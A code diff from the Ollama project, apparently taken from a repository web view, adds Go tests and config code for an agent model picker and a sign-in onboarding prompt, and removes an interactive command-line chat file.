if generateReq.Think == nil || generateReq.Think.String() != "low" {
|
||||
t.Fatalf("generate think = %#v, want low", generateReq.Think)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPreloadAgentModelIfLocalSkipsCloudModel(t *testing.T) {
|
||||
generateCalled := false
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.URL.Path {
|
||||
case "/api/show":
|
||||
_ = json.NewEncoder(w).Encode(api.ShowResponse{RemoteHost: "https://ollama.com"})
|
||||
case "/api/generate":
|
||||
generateCalled = true
|
||||
t.Fatal("cloud model should not be preloaded with generate")
|
||||
default:
|
||||
http.NotFound(w, r)
|
||||
}
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
baseURL, err := url.Parse(srv.URL)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := preloadAgentModelIfLocal(context.Background(), api.NewClient(baseURL, srv.Client()), AgentTUIOptions{}, "kimi-k2:cloud"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if generateCalled {
|
||||
t.Fatal("generate was called for cloud model")
|
||||
}
|
||||
}
|
||||
|
||||
func modelOptionNames(options []agentchat.ModelOption) []string {
|
||||
names := make([]string, 0, len(options))
|
||||
for _, option := range options {
|
||||
names = append(names, option.Name)
|
||||
}
|
||||
return names
|
||||
}
|
||||
+724
-535
File diff suppressed because it is too large.
Load diff
@@ -2,6 +2,9 @@ package cmd
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
@@ -9,12 +12,14 @@ import (
|
||||
"github.com/ollama/ollama/cmd/config"
|
||||
"github.com/ollama/ollama/cmd/launch"
|
||||
"github.com/ollama/ollama/cmd/tui"
|
||||
"github.com/ollama/ollama/envconfig"
|
||||
)
|
||||
|
||||
func setCmdTestHome(t *testing.T, dir string) {
|
||||
t.Helper()
|
||||
t.Setenv("HOME", dir)
|
||||
t.Setenv("USERPROFILE", dir)
|
||||
envconfig.ReloadServerConfig()
|
||||
}
|
||||
|
||||
func unexpectedRunModelResolution(t *testing.T) func(context.Context, launch.RunModelRequest) (string, error) {
|
||||
@@ -41,6 +46,277 @@ func unexpectedModelLaunch(t *testing.T) func(*cobra.Command, string) error {
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunAgentModelPickerUsesSavedModelWhenAvailable(t *testing.T) {
|
||||
setCmdTestHome(t, t.TempDir())
|
||||
if err := config.SetAgentSignInPromptSeen(true); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var gotReq launch.RunModelRequest
|
||||
var launched string
|
||||
prefetchedAccount := &launch.AccountState{}
|
||||
accountUpdates := func(context.Context) <-chan *launch.AccountState { return nil }
|
||||
deps := agentModelPickerDeps{
|
||||
resolveRunModel: func(ctx context.Context, req launch.RunModelRequest) (string, error) {
|
||||
gotReq = req
|
||||
return "qwen3:8b", nil
|
||||
},
|
||||
runModel: func(cmd *cobra.Command, model string) error {
|
||||
launched = model
|
||||
return nil
|
||||
},
|
||||
accountState: func() *launch.AccountState {
|
||||
return prefetchedAccount
|
||||
},
|
||||
accountStateUpdates: accountUpdates,
|
||||
}
|
||||
|
||||
cmd := &cobra.Command{}
|
||||
cmd.SetContext(context.Background())
|
||||
if err := runAgentModelPickerWithDeps(cmd, deps); err != nil {
|
||||
t.Fatalf("runAgentModelPickerWithDeps error: %v", err)
|
||||
}
|
||||
|
||||
if gotReq.ForcePicker {
|
||||
t.Fatal("expected root agent flow to reuse a saved model when available")
|
||||
}
|
||||
if gotReq.AccountState != prefetchedAccount {
|
||||
t.Fatal("expected prefetched account state to be passed to model picker")
|
||||
}
|
||||
if gotReq.AccountStateProvider == nil || gotReq.AccountStateUpdates == nil {
|
||||
t.Fatal("expected account state callbacks to be passed to model picker")
|
||||
}
|
||||
if launched != "qwen3:8b" {
|
||||
t.Fatalf("launched model = %q, want qwen3:8b", launched)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunAgentModelPickerFallsBackToPickerWhenPlanVerificationFails(t *testing.T) {
|
||||
setCmdTestHome(t, t.TempDir())
|
||||
|
||||
var requests []launch.RunModelRequest
|
||||
var launched string
|
||||
deps := agentModelPickerDeps{
|
||||
resolveRunModel: func(ctx context.Context, req launch.RunModelRequest) (string, error) {
|
||||
requests = append(requests, req)
|
||||
if len(requests) == 1 {
|
||||
return "", launch.ErrPlanVerificationUnavailable
|
||||
}
|
||||
return "llama3.2", nil
|
||||
},
|
||||
runModel: func(cmd *cobra.Command, model string) error {
|
||||
launched = model
|
||||
return nil
|
||||
},
|
||||
accountState: func() *launch.AccountState {
|
||||
return &launch.AccountState{}
|
||||
},
|
||||
}
|
||||
|
||||
cmd := &cobra.Command{}
|
||||
cmd.SetContext(context.Background())
|
||||
if err := runAgentModelPickerWithDeps(cmd, deps); err != nil {
|
||||
t.Fatalf("runAgentModelPickerWithDeps error: %v", err)
|
||||
}
|
||||
|
||||
if len(requests) != 2 {
|
||||
t.Fatalf("resolve calls = %d, want 2", len(requests))
|
||||
}
|
||||
if requests[0].ForcePicker {
|
||||
t.Fatal("first request should try the saved model path")
|
||||
}
|
||||
if !requests[1].ForcePicker {
|
||||
t.Fatal("second request should force the model picker")
|
||||
}
|
||||
if requests[1].AccountStateProvider != nil {
|
||||
t.Fatal("retry should not keep using the stale account-state provider")
|
||||
}
|
||||
if requests[1].AccountState == nil {
|
||||
t.Fatal("retry should pass an explicit unknown account state")
|
||||
}
|
||||
if launched != "llama3.2" {
|
||||
t.Fatalf("launched model = %q, want llama3.2", launched)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunAgentModelPickerReturnsPlanVerificationErrorWhenPickerRetryFails(t *testing.T) {
|
||||
setCmdTestHome(t, t.TempDir())
|
||||
|
||||
var calls int
|
||||
deps := agentModelPickerDeps{
|
||||
resolveRunModel: func(ctx context.Context, req launch.RunModelRequest) (string, error) {
|
||||
calls++
|
||||
return "", launch.ErrPlanVerificationUnavailable
|
||||
},
|
||||
runModel: unexpectedModelLaunch(t),
|
||||
}
|
||||
|
||||
cmd := &cobra.Command{}
|
||||
cmd.SetContext(context.Background())
|
||||
err := runAgentModelPickerWithDeps(cmd, deps)
|
||||
if !errors.Is(err, launch.ErrPlanVerificationUnavailable) {
|
||||
t.Fatalf("error = %v, want ErrPlanVerificationUnavailable", err)
|
||||
}
|
||||
if calls != 2 {
|
||||
t.Fatalf("resolve calls = %d, want 2", calls)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMaybeRunAgentOnboarding(t *testing.T) {
|
||||
t.Run("prompts once and saves seen state", func(t *testing.T) {
|
||||
setCmdTestHome(t, t.TempDir())
|
||||
oldPrompt := agentOnboardingPrompt
|
||||
oldSignedIn := agentOnboardingSignedInStatus
|
||||
t.Cleanup(func() {
|
||||
agentOnboardingPrompt = oldPrompt
|
||||
agentOnboardingSignedInStatus = oldSignedIn
|
||||
})
|
||||
|
||||
var prompts int
|
||||
agentOnboardingPrompt = func() (bool, error) {
|
||||
prompts++
|
||||
return false, nil
|
||||
}
|
||||
agentOnboardingSignedInStatus = func(context.Context) (bool, bool) {
|
||||
return false, true
|
||||
}
|
||||
|
||||
signIn, err := maybeRunAgentOnboarding(context.Background())
|
||||
if err != nil {
|
||||
t.Fatalf("maybeRunAgentOnboarding error: %v", err)
|
||||
}
|
||||
if signIn {
|
||||
t.Fatal("signIn = true, want false")
|
||||
}
|
||||
if prompts != 1 {
|
||||
t.Fatalf("prompts = %d, want 1", prompts)
|
||||
}
|
||||
if !config.AgentSignInPromptSeen() {
|
||||
t.Fatal("expected onboarding state to be saved")
|
||||
}
|
||||
|
||||
signIn, err = maybeRunAgentOnboarding(context.Background())
|
||||
if err != nil {
|
||||
t.Fatalf("second maybeRunAgentOnboarding error: %v", err)
|
||||
}
|
||||
if signIn {
|
||||
t.Fatal("second signIn = true, want false")
|
||||
}
|
||||
if prompts != 1 {
|
||||
t.Fatalf("prompt should not run again, prompts = %d", prompts)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("skips prompt when already signed in", func(t *testing.T) {
|
||||
setCmdTestHome(t, t.TempDir())
|
||||
oldPrompt := agentOnboardingPrompt
|
||||
oldSignedIn := agentOnboardingSignedInStatus
|
||||
t.Cleanup(func() {
|
||||
agentOnboardingPrompt = oldPrompt
|
||||
agentOnboardingSignedInStatus = oldSignedIn
|
||||
})
|
||||
|
||||
var prompts int
|
||||
agentOnboardingPrompt = func() (bool, error) {
|
||||
prompts++
|
||||
return false, nil
|
||||
}
|
||||
agentOnboardingSignedInStatus = func(context.Context) (bool, bool) {
|
||||
return true, true
|
||||
}
|
||||
|
||||
signIn, err := maybeRunAgentOnboarding(context.Background())
|
||||
if err != nil {
|
||||
t.Fatalf("maybeRunAgentOnboarding error: %v", err)
|
||||
}
|
||||
if signIn {
|
||||
t.Fatal("signIn = true, want false")
|
||||
}
|
||||
if prompts != 0 {
|
||||
t.Fatalf("prompts = %d, want 0", prompts)
|
||||
}
|
||||
if !config.AgentSignInPromptSeen() {
|
||||
t.Fatal("expected onboarding state to be saved")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("skips prompt when signed-in check is unknown", func(t *testing.T) {
|
||||
setCmdTestHome(t, t.TempDir())
|
||||
oldPrompt := agentOnboardingPrompt
|
||||
oldSignedIn := agentOnboardingSignedInStatus
|
||||
t.Cleanup(func() {
|
||||
agentOnboardingPrompt = oldPrompt
|
||||
agentOnboardingSignedInStatus = oldSignedIn
|
||||
})
|
||||
|
||||
var prompts int
|
||||
agentOnboardingPrompt = func() (bool, error) {
|
||||
prompts++
|
||||
return false, nil
|
||||
}
|
||||
agentOnboardingSignedInStatus = func(context.Context) (bool, bool) {
|
||||
return false, false
|
||||
}
|
||||
|
||||
signIn, err := maybeRunAgentOnboarding(context.Background())
|
||||
if err != nil {
|
||||
t.Fatalf("maybeRunAgentOnboarding error: %v", err)
|
||||
}
|
||||
if signIn {
|
||||
t.Fatal("signIn = true, want false")
|
||||
}
|
||||
if prompts != 0 {
|
||||
t.Fatalf("prompts = %d, want 0", prompts)
|
||||
}
|
||||
if config.AgentSignInPromptSeen() {
|
||||
t.Fatal("unknown auth state should not save onboarding state")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("cancel does not save seen state", func(t *testing.T) {
|
||||
setCmdTestHome(t, t.TempDir())
|
||||
oldPrompt := agentOnboardingPrompt
|
||||
oldSignedIn := agentOnboardingSignedInStatus
|
||||
t.Cleanup(func() {
|
||||
agentOnboardingPrompt = oldPrompt
|
||||
agentOnboardingSignedInStatus = oldSignedIn
|
||||
})
|
||||
|
||||
agentOnboardingPrompt = func() (bool, error) {
|
||||
return false, tui.ErrCancelled
|
||||
}
|
||||
agentOnboardingSignedInStatus = func(context.Context) (bool, bool) {
|
||||
return false, true
|
||||
}
|
||||
|
||||
_, err := maybeRunAgentOnboarding(context.Background())
|
||||
if !errors.Is(err, launch.ErrCancelled) {
|
||||
t.Fatalf("error = %v, want launch.ErrCancelled", err)
|
||||
}
|
||||
if config.AgentSignInPromptSeen() {
|
||||
t.Fatal("cancel should not save onboarding state")
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestRunAgentOnboardingSignInEmptyWhoamiDoesNotSilentlySucceed(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.URL.Path != "/api/me" {
|
||||
http.NotFound(w, r)
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
_, _ = w.Write([]byte(`{}`))
|
||||
}))
|
||||
defer server.Close()
|
||||
t.Setenv("OLLAMA_HOST", server.URL)
|
||||
|
||||
err := runAgentOnboardingSignIn(context.Background())
|
||||
if !errors.Is(err, errAgentOnboardingNotSignedIn) {
|
||||
t.Fatalf("error = %v, want errAgentOnboardingNotSignedIn", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunInteractiveTUI_RunModelActionsUseResolveRunModel(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
|
||||
+945
-222
File diff suppressed because it is too large.
Load diff
@@ -19,6 +19,14 @@ type integration struct {
|
||||
Onboarded bool `json:"onboarded,omitempty"`
|
||||
}
|
||||
|
||||
type onboarding struct {
|
||||
Agent *agentOnboarding `json:"agent,omitempty"`
|
||||
}
|
||||
|
||||
type agentOnboarding struct {
|
||||
SignInPromptSeen bool `json:"sign_in_prompt_seen,omitempty"`
|
||||
}
|
||||
|
||||
// IntegrationConfig is the persisted config for one integration.
|
||||
type IntegrationConfig = integration
|
||||
|
||||
@@ -26,6 +34,7 @@ type config struct {
|
||||
Integrations map[string]*integration `json:"integrations"`
|
||||
LastModel string `json:"last_model,omitempty"`
|
||||
LastSelection string `json:"last_selection,omitempty"` // "run" or integration name
|
||||
Onboarding *onboarding `json:"onboarding,omitempty"`
|
||||
}
|
||||
|
||||
func configPath() (string, error) {
|
||||
@@ -230,6 +239,34 @@ func SetLastSelection(selection string) error {
|
||||
return save(cfg)
|
||||
}
|
||||
|
||||
// AgentSignInPromptSeen reports whether the root agent sign-in onboarding prompt
|
||||
// has already been shown.
|
||||
func AgentSignInPromptSeen() bool {
|
||||
cfg, err := load()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return cfg.Onboarding != nil &&
|
||||
cfg.Onboarding.Agent != nil &&
|
||||
cfg.Onboarding.Agent.SignInPromptSeen
|
||||
}
|
||||
|
||||
// SetAgentSignInPromptSeen persists the root agent sign-in onboarding prompt state.
|
||||
func SetAgentSignInPromptSeen(seen bool) error {
|
||||
cfg, err := load()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if cfg.Onboarding == nil {
|
||||
cfg.Onboarding = &onboarding{}
|
||||
}
|
||||
if cfg.Onboarding.Agent == nil {
|
||||
cfg.Onboarding.Agent = &agentOnboarding{}
|
||||
}
|
||||
cfg.Onboarding.Agent.SignInPromptSeen = seen
|
||||
return save(cfg)
|
||||
}
|
||||
|
||||
// LoadIntegration returns the saved config for one integration.
|
||||
func LoadIntegration(appName string) (*integration, error) {
|
||||
cfg, err := load()
|
||||
|
||||
@@ -302,6 +302,36 @@ func TestLoad(t *testing.T) {
|
||||
})
|
||||
}
|
||||
|
||||
func TestAgentSignInPromptSeen(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
|
||||
if AgentSignInPromptSeen() {
|
||||
t.Fatal("new config should not have agent sign-in onboarding marked seen")
|
||||
}
|
||||
|
||||
if err := SetAgentSignInPromptSeen(true); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !AgentSignInPromptSeen() {
|
||||
t.Fatal("agent sign-in onboarding seen state was not saved")
|
||||
}
|
||||
|
||||
path, err := configPath()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(string(data), `"onboarding"`) ||
|
||||
!strings.Contains(string(data), `"agent"`) ||
|
||||
!strings.Contains(string(data), `"sign_in_prompt_seen": true`) {
|
||||
t.Fatalf("config does not include onboarding state: %s", data)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMigrateConfig(t *testing.T) {
|
||||
t.Run("migrates legacy file to new location", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
|
||||
@@ -1,735 +0,0 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"cmp"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"slices"
|
||||
"strings"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
"github.com/ollama/ollama/envconfig"
|
||||
"github.com/ollama/ollama/internal/modelref"
|
||||
"github.com/ollama/ollama/readline"
|
||||
"github.com/ollama/ollama/types/errtypes"
|
||||
"github.com/ollama/ollama/types/model"
|
||||
)
|
||||
|
||||
type MultilineState int
|
||||
|
||||
const (
|
||||
MultilineNone MultilineState = iota
|
||||
MultilinePrompt
|
||||
MultilineSystem
|
||||
)
|
||||
|
||||
func generateInteractive(cmd *cobra.Command, opts runOptions) error {
|
||||
usage := func() {
|
||||
fmt.Fprintln(os.Stderr, "Available Commands:")
|
||||
fmt.Fprintln(os.Stderr, " /set Set session variables")
|
||||
fmt.Fprintln(os.Stderr, " /show Show model information")
|
||||
fmt.Fprintln(os.Stderr, " /load <model> Load a session or model")
|
||||
fmt.Fprintln(os.Stderr, " /save <model> Save your current session")
|
||||
fmt.Fprintln(os.Stderr, " /clear Clear session context")
|
||||
fmt.Fprintln(os.Stderr, " /bye Exit")
|
||||
fmt.Fprintln(os.Stderr, " /?, /help Help for a command")
|
||||
fmt.Fprintln(os.Stderr, " /? shortcuts Help for keyboard shortcuts")
|
||||
|
||||
fmt.Fprintln(os.Stderr, "")
|
||||
fmt.Fprintln(os.Stderr, "Use \"\"\" to begin a multi-line message.")
|
||||
|
||||
if opts.MultiModal {
|
||||
fmt.Fprintf(os.Stderr, "Use %s to include .jpg, .png, .webp images, or .wav audio files.\n", filepath.FromSlash("/path/to/file"))
|
||||
}
|
||||
|
||||
fmt.Fprintln(os.Stderr, "")
|
||||
}
|
||||
|
||||
usageSet := func() {
|
||||
fmt.Fprintln(os.Stderr, "Available Commands:")
|
||||
fmt.Fprintln(os.Stderr, " /set parameter ... Set a parameter")
|
||||
fmt.Fprintln(os.Stderr, " /set system <string> Set system message")
|
||||
fmt.Fprintln(os.Stderr, " /set history Enable history")
|
||||
fmt.Fprintln(os.Stderr, " /set nohistory Disable history")
|
||||
fmt.Fprintln(os.Stderr, " /set wordwrap Enable wordwrap")
|
||||
fmt.Fprintln(os.Stderr, " /set nowordwrap Disable wordwrap")
|
||||
fmt.Fprintln(os.Stderr, " /set format json Enable JSON mode")
|
||||
fmt.Fprintln(os.Stderr, " /set noformat Disable formatting")
|
||||
fmt.Fprintln(os.Stderr, " /set verbose Show LLM stats")
|
||||
fmt.Fprintln(os.Stderr, " /set quiet Disable LLM stats")
|
||||
fmt.Fprintln(os.Stderr, " /set think Enable thinking")
|
||||
fmt.Fprintln(os.Stderr, " /set nothink Disable thinking")
|
||||
fmt.Fprintln(os.Stderr, "")
|
||||
}
|
||||
|
||||
usageShortcuts := func() {
|
||||
fmt.Fprintln(os.Stderr, "Available keyboard shortcuts:")
|
||||
fmt.Fprintln(os.Stderr, " Ctrl + a Move to the beginning of the line (Home)")
|
||||
fmt.Fprintln(os.Stderr, " Ctrl + e Move to the end of the line (End)")
|
||||
fmt.Fprintln(os.Stderr, " Alt + b Move back (left) one word")
|
||||
fmt.Fprintln(os.Stderr, " Alt + f Move forward (right) one word")
|
||||
fmt.Fprintln(os.Stderr, " Ctrl + k Delete the sentence after the cursor")
|
||||
fmt.Fprintln(os.Stderr, " Ctrl + u Delete the sentence before the cursor")
|
||||
fmt.Fprintln(os.Stderr, " Ctrl + w Delete the word before the cursor")
|
||||
fmt.Fprintln(os.Stderr, "")
|
||||
fmt.Fprintln(os.Stderr, " Ctrl + l Clear the screen")
|
||||
fmt.Fprintln(os.Stderr, " Ctrl + g Open default editor to compose a prompt")
|
||||
fmt.Fprintln(os.Stderr, " Ctrl + c Stop the model from responding")
|
||||
fmt.Fprintln(os.Stderr, " Ctrl + d Exit ollama (/bye)")
|
||||
fmt.Fprintln(os.Stderr, "")
|
||||
}
|
||||
|
||||
usageShow := func() {
|
||||
fmt.Fprintln(os.Stderr, "Available Commands:")
|
||||
fmt.Fprintln(os.Stderr, " /show info Show details for this model")
|
||||
fmt.Fprintln(os.Stderr, " /show license Show model license")
|
||||
fmt.Fprintln(os.Stderr, " /show modelfile Show Modelfile for this model")
|
||||
fmt.Fprintln(os.Stderr, " /show parameters Show parameters for this model")
|
||||
fmt.Fprintln(os.Stderr, " /show system Show system message")
|
||||
fmt.Fprintln(os.Stderr, " /show template Show prompt template")
|
||||
fmt.Fprintln(os.Stderr, "")
|
||||
}
|
||||
|
||||
// only list out the most common parameters
|
||||
usageParameters := func() {
|
||||
fmt.Fprintln(os.Stderr, "Available Parameters:")
|
||||
fmt.Fprintln(os.Stderr, " /set parameter seed <int> Random number seed")
|
||||
fmt.Fprintln(os.Stderr, " /set parameter num_predict <int> Max number of tokens to predict")
|
||||
fmt.Fprintln(os.Stderr, " /set parameter top_k <int> Pick from top k num of tokens")
|
||||
fmt.Fprintln(os.Stderr, " /set parameter top_p <float> Pick token based on sum of probabilities")
|
||||
fmt.Fprintln(os.Stderr, " /set parameter min_p <float> Pick token based on top token probability * min_p")
|
||||
fmt.Fprintln(os.Stderr, " /set parameter num_ctx <int> Set the context size")
|
||||
fmt.Fprintln(os.Stderr, " /set parameter temperature <float> Set creativity level")
|
||||
fmt.Fprintln(os.Stderr, " /set parameter repeat_penalty <float> How strongly to penalize repetitions")
|
||||
fmt.Fprintln(os.Stderr, " /set parameter repeat_last_n <int> Set how far back to look for repetitions")
|
||||
fmt.Fprintln(os.Stderr, " /set parameter num_gpu <int> The number of layers to send to the GPU")
|
||||
fmt.Fprintln(os.Stderr, " /set parameter stop <string> <string> ... Set the stop parameters")
|
||||
fmt.Fprintln(os.Stderr, "")
|
||||
}
|
||||
|
||||
scanner, err := readline.New(readline.Prompt{
|
||||
Prompt: ">>> ",
|
||||
AltPrompt: "... ",
|
||||
Placeholder: "Send a message (/? for help)",
|
||||
AltPlaceholder: "Press Enter to send",
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if envconfig.NoHistory() {
|
||||
scanner.HistoryDisable()
|
||||
}
|
||||
|
||||
fmt.Print(readline.StartBracketedPaste)
|
||||
defer fmt.Printf(readline.EndBracketedPaste)
|
||||
|
||||
var sb strings.Builder
|
||||
var multiline MultilineState
|
||||
var thinkExplicitlySet bool = opts.Think != nil
|
||||
|
||||
for {
|
||||
line, err := scanner.Readline()
|
||||
switch {
|
||||
case errors.Is(err, io.EOF):
|
||||
fmt.Println()
|
||||
return nil
|
||||
case errors.Is(err, readline.ErrInterrupt):
|
||||
if line == "" {
|
||||
fmt.Println("\nUse Ctrl + d or /bye to exit.")
|
||||
}
|
||||
|
||||
scanner.Prompt.UseAlt = false
|
||||
sb.Reset()
|
||||
|
||||
continue
|
||||
case errors.Is(err, readline.ErrEditPrompt):
|
||||
sb.Reset()
|
||||
content, err := editInExternalEditor(line)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "error: %v\n", err)
|
||||
continue
|
||||
}
|
||||
if strings.TrimSpace(content) == "" {
|
||||
continue
|
||||
}
|
||||
scanner.Prefill = content
|
||||
continue
|
||||
case err != nil:
|
||||
return err
|
||||
}
|
||||
|
||||
switch {
|
||||
case multiline != MultilineNone:
|
||||
// check if there's a multiline terminating string
|
||||
before, ok := strings.CutSuffix(line, `"""`)
|
||||
sb.WriteString(before)
|
||||
if !ok {
|
||||
fmt.Fprintln(&sb)
|
||||
scanner.Prompt.UseAlt = true
|
||||
continue
|
||||
}
|
||||
|
||||
switch multiline {
|
||||
case MultilineSystem:
|
||||
opts.System = sb.String()
|
||||
opts.Messages = append(opts.Messages, api.Message{Role: "system", Content: opts.System})
|
||||
fmt.Println("Set system message.")
|
||||
sb.Reset()
|
||||
}
|
||||
|
||||
multiline = MultilineNone
|
||||
scanner.Prompt.UseAlt = false
|
||||
case strings.HasPrefix(line, `"""`):
|
||||
line := strings.TrimPrefix(line, `"""`)
|
||||
line, ok := strings.CutSuffix(line, `"""`)
|
||||
sb.WriteString(line)
|
||||
if !ok {
|
||||
// no multiline terminating string; need more input
|
||||
fmt.Fprintln(&sb)
|
||||
multiline = MultilinePrompt
|
||||
scanner.Prompt.UseAlt = true
|
||||
}
|
||||
case scanner.Pasting:
|
||||
fmt.Fprintln(&sb, line)
|
||||
continue
|
||||
case strings.HasPrefix(line, "/list"):
|
||||
args := strings.Fields(line)
|
||||
if err := ListHandler(cmd, args[1:]); err != nil {
|
||||
return err
|
||||
}
|
||||
case strings.HasPrefix(line, "/load"):
|
||||
args := strings.Fields(line)
|
||||
if len(args) != 2 {
|
||||
fmt.Println("Usage:\n /load <modelname>")
|
||||
continue
|
||||
}
|
||||
origOpts := opts.Copy()
|
||||
|
||||
client, err := api.ClientFromEnvironment()
|
||||
if err != nil {
|
||||
fmt.Println("error: couldn't connect to ollama server")
|
||||
return err
|
||||
}
|
||||
|
||||
opts.Model = args[1]
|
||||
opts.Messages = []api.Message{}
|
||||
opts.LoadedMessages = nil
|
||||
fmt.Printf("Loading model '%s'\n", opts.Model)
|
||||
info, err := client.Show(cmd.Context(), &api.ShowRequest{Model: opts.Model})
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), "not found") {
|
||||
fmt.Printf("Couldn't find model '%s'\n", opts.Model)
|
||||
opts = origOpts.Copy()
|
||||
continue
|
||||
}
|
||||
return err
|
||||
}
|
||||
applyShowResponseToRunOptions(&opts, info)
|
||||
opts.Think, err = inferThinkingOption(&info.Capabilities, &opts, thinkExplicitlySet)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := loadOrUnloadModel(cmd, &opts); err != nil {
|
||||
if strings.Contains(err.Error(), "not found") {
|
||||
fmt.Printf("Couldn't find model '%s'\n", opts.Model)
|
||||
opts = origOpts.Copy()
|
||||
continue
|
||||
}
|
||||
if strings.Contains(err.Error(), "does not support thinking") {
|
||||
fmt.Printf("error: %v\n", err)
|
||||
continue
|
||||
}
|
||||
return err
|
||||
}
|
||||
continue
|
||||
case strings.HasPrefix(line, "/save"):
|
||||
args := strings.Fields(line)
|
||||
if len(args) != 2 {
|
||||
fmt.Println("Usage:\n /save <modelname>")
|
||||
continue
|
||||
}
|
||||
|
||||
client, err := api.ClientFromEnvironment()
|
||||
if err != nil {
|
||||
fmt.Println("error: couldn't connect to ollama server")
|
||||
return err
|
||||
}
|
||||
|
||||
req := NewCreateRequest(args[1], opts)
|
||||
fn := func(resp api.ProgressResponse) error { return nil }
|
||||
err = client.Create(cmd.Context(), req, fn)
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), errtypes.InvalidModelNameErrMsg) {
|
||||
fmt.Printf("error: The model name '%s' is invalid\n", args[1])
|
||||
continue
|
||||
}
|
||||
return err
|
||||
}
|
||||
fmt.Printf("Created new model '%s'\n", args[1])
|
||||
continue
|
||||
case strings.HasPrefix(line, "/clear"):
|
||||
opts.Messages = []api.Message{}
|
||||
if opts.System != "" {
|
||||
newMessage := api.Message{Role: "system", Content: opts.System}
|
||||
opts.Messages = append(opts.Messages, newMessage)
|
||||
}
|
||||
fmt.Println("Cleared session context")
|
||||
continue
|
||||
case strings.HasPrefix(line, "/set"):
|
||||
args := strings.Fields(line)
|
||||
if len(args) > 1 {
|
||||
switch args[1] {
|
||||
case "history":
|
||||
scanner.HistoryEnable()
|
||||
case "nohistory":
|
||||
scanner.HistoryDisable()
|
||||
case "wordwrap":
|
||||
opts.WordWrap = true
|
||||
fmt.Println("Set 'wordwrap' mode.")
|
||||
case "nowordwrap":
|
||||
opts.WordWrap = false
|
||||
fmt.Println("Set 'nowordwrap' mode.")
|
||||
case "verbose":
|
||||
if err := cmd.Flags().Set("verbose", "true"); err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Println("Set 'verbose' mode.")
|
||||
case "quiet":
|
||||
if err := cmd.Flags().Set("verbose", "false"); err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Println("Set 'quiet' mode.")
|
||||
case "think":
|
||||
thinkValue := api.ThinkValue{Value: true}
|
||||
var maybeLevel string
|
||||
if len(args) > 2 {
|
||||
maybeLevel = args[2]
|
||||
}
|
||||
if maybeLevel != "" {
|
||||
// TODO(drifkin): validate the level, could be model dependent
|
||||
// though... It will also be validated on the server once a call is
|
||||
// made.
|
||||
thinkValue.Value = maybeLevel
|
||||
}
|
||||
opts.Think = &thinkValue
|
||||
thinkExplicitlySet = true
|
||||
if client, err := api.ClientFromEnvironment(); err == nil {
|
||||
ensureThinkingSupport(cmd.Context(), client, opts.Model)
|
||||
}
|
||||
if maybeLevel != "" {
|
||||
fmt.Printf("Set 'think' mode to '%s'.\n", maybeLevel)
|
||||
} else {
|
||||
fmt.Println("Set 'think' mode.")
|
||||
}
|
||||
case "nothink":
|
||||
opts.Think = &api.ThinkValue{Value: false}
|
||||
thinkExplicitlySet = true
|
||||
if client, err := api.ClientFromEnvironment(); err == nil {
|
||||
ensureThinkingSupport(cmd.Context(), client, opts.Model)
|
||||
}
|
||||
fmt.Println("Set 'nothink' mode.")
|
||||
case "format":
|
||||
if len(args) < 3 || args[2] != "json" {
|
||||
fmt.Println("Invalid or missing format. For 'json' mode use '/set format json'")
|
||||
} else {
|
||||
opts.Format = args[2]
|
||||
fmt.Printf("Set format to '%s' mode.\n", args[2])
|
||||
}
|
||||
case "noformat":
|
||||
opts.Format = ""
|
||||
fmt.Println("Disabled format.")
|
||||
case "parameter":
|
||||
if len(args) < 4 {
|
||||
usageParameters()
|
||||
continue
|
||||
}
|
||||
params := args[3:]
|
||||
fp, err := api.FormatParams(map[string][]string{args[2]: params})
|
||||
if err != nil {
|
||||
fmt.Printf("Couldn't set parameter: %q\n", err)
|
||||
continue
|
||||
}
|
||||
fmt.Printf("Set parameter '%s' to '%s'\n", args[2], strings.Join(params, ", "))
|
||||
opts.Options[args[2]] = fp[args[2]]
|
||||
case "system":
|
||||
if len(args) < 3 {
|
||||
usageSet()
|
||||
continue
|
